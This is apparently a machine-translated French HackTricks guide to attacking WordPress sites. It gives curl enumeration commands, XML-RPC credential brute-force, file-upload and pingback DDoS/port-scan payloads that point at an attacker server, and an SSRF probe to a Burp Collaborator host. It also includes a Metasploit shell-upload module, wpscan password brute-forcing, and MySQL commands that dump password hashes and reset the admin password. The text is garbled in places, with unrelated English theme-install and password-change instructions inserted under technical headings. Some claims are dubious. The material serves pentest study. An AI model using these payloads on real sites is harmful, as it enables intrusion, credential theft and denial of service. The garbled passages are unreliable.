26 KiB
Wordpress
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Utilisez Trickest pour créer et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Informations de base
Les fichiers téléchargés sont envoyés à : http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Les fichiers thèmes peuvent être trouvés dans /wp-content/themes/, donc si vous modifiez du code php du thème pour obtenir une RCE, vous utiliserez probablement ce chemin. Par exemple : En utilisant le thème twentytwelve, vous pouvez accéder au fichier 404.php dans : /wp-content/themes/twentytwelve/404.php
Une autre URL utile pourrait être : /wp-content/themes/default/404.php
Dans wp-config.php, vous pouvez trouver le mot de passe root de la base de données.
Chemins de connexion par défaut à vérifier : /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Principaux fichiers WordPress
index.php
license.txt
contient des informations utiles telles que la version de WordPress installée.wp-activate.php
est utilisé pour le processus d'activation par e-mail lors de la configuration d'un nouveau site WordPress.- Dossiers de connexion (peuvent être renommés pour les masquer) :
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
est un fichier qui représente une fonctionnalité de WordPress qui permet de transmettre des données avec HTTP en tant que mécanisme de transport et XML en tant que mécanisme de codage. Ce type de communication a été remplacé par l'API REST de WordPress.- Le dossier
wp-content
est le répertoire principal où les plugins et les thèmes sont stockés. wp-content/uploads/
est le répertoire où les fichiers téléchargés sur la plateforme sont stockés.wp-includes/
est le répertoire où les fichiers principaux sont stockés, tels que les certificats, les polices de caractères, les fichiers JavaScript et les widgets.
Post-exploitation
- Le fichier
wp-config.php
contient les informations requises par WordPress pour se connecter à la base de données, telles que le nom de la base de données, l'hôte de la base de données, le nom d'utilisateur et le mot de passe, les clés d'authentification et les sels, et le préfixe de la table de la base de données. Ce fichier de configuration peut également être utilisé pour activer le mode DEBUG, ce qui peut être utile pour le dépannage.
Permissions des utilisateurs
- Administrateur
- Éditeur : Publie et gère ses propres publications et celles des autres.
- Auteur : Publie et gère ses propres publications.
- Contributeur : Rédige et gère ses propres publications, mais ne peut pas les publier.
- Abonné : Consulte les publications et modifie son profil.
Énumération passive
Obtenir la version de WordPress
Vérifiez si vous pouvez trouver les fichiers /license.txt
ou /readme.html
Dans le code source de la page (exemple de https://wordpress.org/support/article/pages/) :
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- Fichiers de liens CSS
- Fichiers JavaScript
Obtenir les plugins
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
To get themes for your WordPress website, you can follow these steps:
- Go to the WordPress admin dashboard.
- Click on "Appearance" in the left sidebar.
- Select "Themes" from the dropdown menu.
- You will see a list of available themes. You can browse through them or use the search bar to find a specific theme.
- Once you find a theme you like, hover over it and click on the "Preview" button to see how it looks on your website.
- If you are satisfied with the preview, click on the "Install" button to add the theme to your website.
- After the theme is installed, click on the "Activate" button to make it the active theme for your website.
That's it! You have successfully obtained and installed a new theme for your WordPress website.
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Extraire les versions en général
Lors de la pentest d'un site WordPress, il est important d'extraire les informations sur les versions utilisées. Cela peut aider à identifier les vulnérabilités connues et à déterminer si le site est à jour.
Méthode 1 : Vérification du fichier readme.html
Le fichier readme.html est généralement présent à la racine du site WordPress. Il contient des informations sur la version actuelle de WordPress. Vous pouvez accéder à ce fichier en ajoutant "/readme.html" à l'URL du site (par exemple : http://www.example.com/readme.html
).
Méthode 2 : Analyse des en-têtes de réponse HTTP
Lorsque vous interagissez avec un site WordPress, vous pouvez analyser les en-têtes de réponse HTTP pour trouver des informations sur la version utilisée. L'en-tête "X-Powered-By" peut révéler la version de WordPress. Vous pouvez utiliser des outils tels que Burp Suite pour intercepter les requêtes et analyser les en-têtes de réponse.
Méthode 3 : Recherche de fichiers de configuration
Certains fichiers de configuration de WordPress contiennent des informations sur la version utilisée. Vous pouvez rechercher des fichiers tels que "wp-config.php" et "wp-includes/version.php" pour trouver ces informations. Utilisez des outils de recherche de fichiers tels que "grep" pour faciliter cette tâche.
Méthode 4 : Utilisation d'outils automatisés
Il existe des outils automatisés tels que WPScan qui peuvent vous aider à extraire les informations sur les versions de WordPress. Ces outils effectuent une analyse complète du site et fournissent des rapports détaillés sur les versions utilisées ainsi que sur les vulnérabilités connues.
Il est recommandé d'utiliser plusieurs méthodes pour extraire les informations sur les versions de WordPress afin d'obtenir des résultats plus complets et précis.
curl -s -X GET https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Utilisez Trickest pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Énumération active
Plugins et thèmes
Vous ne pourrez probablement pas trouver tous les plugins et thèmes possibles. Pour les découvrir tous, vous devrez forcer activement une liste de plugins et de thèmes (heureusement, il existe des outils automatisés qui contiennent ces listes).
Utilisateurs
Brute Force de l'ID
Vous obtenez des utilisateurs valides d'un site WordPress en forçant de manière brutale les identifiants des utilisateurs :
curl -s -I -X GET http://blog.example.com/?author=1
Si les réponses sont 200 ou 30X, cela signifie que l'identifiant est valide. Si la réponse est 400, alors l'identifiant est invalide.
wp-json
Vous pouvez également essayer d'obtenir des informations sur les utilisateurs en interrogeant :
curl http://blog.example.com/wp-json/wp/v2/users
Seules les informations sur les utilisateurs ayant cette fonctionnalité activée seront fournies.
Notez également que /wp-json/wp/v2/pages pourrait divulguer des adresses IP.
Énumération des noms d'utilisateur de connexion
Lors de la connexion à /wp-login.php
, le message est différent si le nom d'utilisateur indiqué existe ou non.
XML-RPC
Si xml-rpc.php
est actif, vous pouvez effectuer une attaque de force brute sur les identifiants ou l'utiliser pour lancer des attaques par déni de service sur d'autres ressources. (Vous pouvez automatiser ce processus en utilisant ceci par exemple).
Pour vérifier s'il est actif, essayez d'accéder à /xmlrpc.php et envoyez cette requête :
Vérifier
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Bruteforce des identifiants
wp.getUserBlogs
, wp.getCategories
ou metaWeblog.getUsersBlogs
sont quelques-unes des méthodes qui peuvent être utilisées pour effectuer une bruteforce des identifiants. Si vous en trouvez une, vous pouvez envoyer quelque chose comme :
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Le message "Nom d'utilisateur ou mot de passe incorrect" doit apparaître dans une réponse de code 200 si les identifiants ne sont pas valides.
En utilisant les identifiants corrects, vous pouvez télécharger un fichier. Dans la réponse, le chemin apparaîtra (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Il existe également un moyen plus rapide de forcer les identifiants en utilisant system.multicall
, car vous pouvez essayer plusieurs identifiants sur la même requête :
Contourner l'authentification à deux facteurs (2FA)
Cette méthode est destinée aux programmes et non aux humains, et elle est obsolète, donc elle ne prend pas en charge le 2FA. Donc, si vous avez des identifiants valides mais que l'entrée principale est protégée par un 2FA, vous pourriez être en mesure d'abuser de xmlrpc.php pour vous connecter avec ces identifiants en contournant le 2FA. Notez que vous ne pourrez pas effectuer toutes les actions que vous pouvez faire via la console, mais vous pourriez quand même être en mesure d'obtenir une RCE comme l'explique Ippsec dans https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS ou scan de ports
Si vous trouvez la méthode pingback.ping dans la liste, vous pouvez demander à Wordpress d'envoyer une requête arbitraire à n'importe quel hôte/port. Cela peut être utilisé pour demander à des milliers de sites Wordpress d'accéder à un emplacement donné (causant ainsi un DDoS à cet emplacement) ou vous pouvez l'utiliser pour faire scanner Wordpress sur un réseau interne (vous pouvez indiquer n'importe quel port).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Si vous obtenez faultCode avec une valeur supérieure à 0 (17), cela signifie que le port est ouvert.
Jetez un coup d'œil à l'utilisation de system.multicall
dans la section précédente pour apprendre comment abuser de cette méthode pour causer une attaque DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Ce fichier se trouve généralement à la racine du site Wordpress : /wp-cron.php
Lorsque ce fichier est accédé, une requête MySQL "lourde" est effectuée, ce qui peut être utilisé par les attaquants pour causer un DoS.
De plus, par défaut, le wp-cron.php
est appelé à chaque chargement de page (à chaque fois qu'un client demande une page Wordpress), ce qui peut poser des problèmes (DoS) sur les sites à fort trafic.
Il est recommandé de désactiver Wp-Cron et de créer une tâche cron réelle à l'intérieur de l'hôte qui effectue les actions nécessaires à intervalles réguliers (sans causer de problèmes).
/wp-json/oembed/1.0/proxy - SSRF
Essayez d'accéder à https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net et le site Wordpress peut vous envoyer une requête.
Voici la réponse lorsque cela ne fonctionne pas :
SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
Cet outil vérifie si la méthode : pingback.ping et le chemin /wp-json/oembed/1.0/proxy existent, et s'ils existent, il essaie de les exploiter.
Outils automatiques
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Utilisez Trickest pour construire et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Obtenez l'accès en écrasant un bit
Plus qu'une véritable attaque, c'est une curiosité. Dans le CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man, vous pouvez inverser 1 bit de n'importe quel fichier WordPress. Ainsi, vous pouvez inverser la position 5389
du fichier /var/www/html/wp-includes/user.php
pour annuler l'opération NOT (!
).
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Modification d'un fichier php du thème utilisé (identifiants d'administration requis)
Apparence → Éditeur de thème → Modèle 404 (à droite)
Modifiez le contenu pour y ajouter un shell php :
Recherchez sur internet comment accéder à cette page modifiée. Dans ce cas, vous devez accéder ici : http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Vous pouvez utiliser :
use exploit/unix/webapp/wp_admin_shell_upload
Plugin RCE
Plugin PHP
Il est possible de télécharger des fichiers .php en tant que plugin.
Créez votre backdoor php en utilisant par exemple :
Ensuite, ajoutez un nouveau plugin :
Téléchargez le plugin et appuyez sur Installer maintenant :
Cliquez sur Procced :
Cela ne fera probablement rien en apparence, mais si vous allez dans Médias, vous verrez votre shell téléchargé :
Accédez-y et vous verrez l'URL pour exécuter le reverse shell :
Téléchargement et activation d'un plugin malveillant
(Cette partie est copiée de https://www.hackingarticles.in/wordpress-reverse-shell/)
Parfois, les utilisateurs connectés n'ont pas l'autorisation d'écriture pour apporter des modifications au thème WordPress, nous choisissons donc "Injecter un plugin WP malveillant" comme stratégie alternative pour obtenir un shell web.
Ainsi, une fois que vous avez accès à un tableau de bord WordPress, vous pouvez essayer d'installer un plugin malveillant. Ici, j'ai déjà téléchargé le plugin vulnérable depuis exploit db.
Cliquez ici pour télécharger le plugin à des fins de pratique.
Puisque nous avons un fichier zip pour le plugin, il est temps de télécharger le plugin.
Tableau de bord > plugins > télécharger le plugin
Parcourez le fichier zip téléchargé comme indiqué.
Une fois que le package est installé avec succès, nous devons activer le plugin.
Lorsque tout est bien configuré, passez à l'exploitation. Puisque nous avons installé un plugin vulnérable appelé "reflex-gallery" et qu'il est facilement exploitable.
Vous obtiendrez une exploitation de cette vulnérabilité dans le framework Metasploit, chargez donc le module ci-dessous et exécutez la commande suivante :
Une fois les commandes ci-dessus exécutées, vous aurez votre session meterpreter. Comme le montre cet article, il existe plusieurs méthodes pour exploiter un site web basé sur WordPress.
Post-exploitation
Extraire les noms d'utilisateur et les mots de passe :
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Changer le mot de passe administrateur:
To change the admin password in WordPress, follow these steps:
- Log in to the WordPress admin dashboard.
- Go to the "Users" section.
- Click on the "All Users" option.
- Locate the admin user and click on the "Edit" link.
- Scroll down to the "Account Management" section.
- Enter a new password in the "New Password" field.
- Confirm the new password in the "Repeat New Password" field.
- Click on the "Update User" button to save the changes.
Pour changer le mot de passe administrateur dans WordPress, suivez ces étapes:
- Connectez-vous au tableau de bord d'administration de WordPress.
- Accédez à la section "Utilisateurs".
- Cliquez sur l'option "Tous les utilisateurs".
- Localisez l'utilisateur admin et cliquez sur le lien "Modifier".
- Faites défiler jusqu'à la section "Gestion du compte".
- Entrez un nouveau mot de passe dans le champ "Nouveau mot de passe".
- Confirmez le nouveau mot de passe dans le champ "Répéter le nouveau mot de passe".
- Cliquez sur le bouton "Mettre à jour l'utilisateur" pour enregistrer les modifications.
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Protection WordPress
Mises à jour régulières
Assurez-vous que WordPress, les plugins et les thèmes sont à jour. Vérifiez également que la mise à jour automatique est activée dans le fichier wp-config.php :
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
De plus, installez uniquement des plugins et des thèmes WordPress fiables.
Plugins de sécurité
Autres recommandations
- Supprimez l'utilisateur par défaut admin
- Utilisez des mots de passe forts et l'authentification à deux facteurs (2FA)
- Passez en revue périodiquement les permissions des utilisateurs
- Limitez les tentatives de connexion pour prévenir les attaques par force brute
- Renommez le fichier
wp-admin.php
et autorisez uniquement l'accès en interne ou à partir de certaines adresses IP.
Utilisez Trickest pour créer facilement et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.